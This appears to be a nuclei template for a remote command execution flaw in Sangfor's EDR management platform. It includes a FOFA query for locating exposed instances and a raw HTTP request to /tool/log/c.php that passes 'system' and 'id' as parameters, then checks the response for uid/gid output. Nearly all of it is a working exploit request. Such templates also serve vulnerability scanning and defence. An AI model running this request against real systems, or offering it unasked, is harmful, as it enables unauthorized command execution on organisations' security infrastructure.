深信服edr命令执行

nuclei验证脚本：

id: SXF_Log_RCE

info:

  name: SXF_Log_RCE

  author: H0m3ly

  severity: critical

  tags: 深信服edr命令执行

  description: FOFA语法： title="终端检测响应平台"


requests:

  - raw:

      - |+

        GET //tool/log/c.php?strip_slashes=system&host=id HTTP/1.1

        Host: {{Hostname}}

        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0




    # 设置不自动跳转

    host-redirects: false    

    matchers-condition: and

    matchers:

      - type: word

        part: body

        words:

          - 'Log Helper'

          - 'gid'

          - 'uid'

          - 'groups'

        condition: and


      - type: status

        status:

          - 200

        condition: and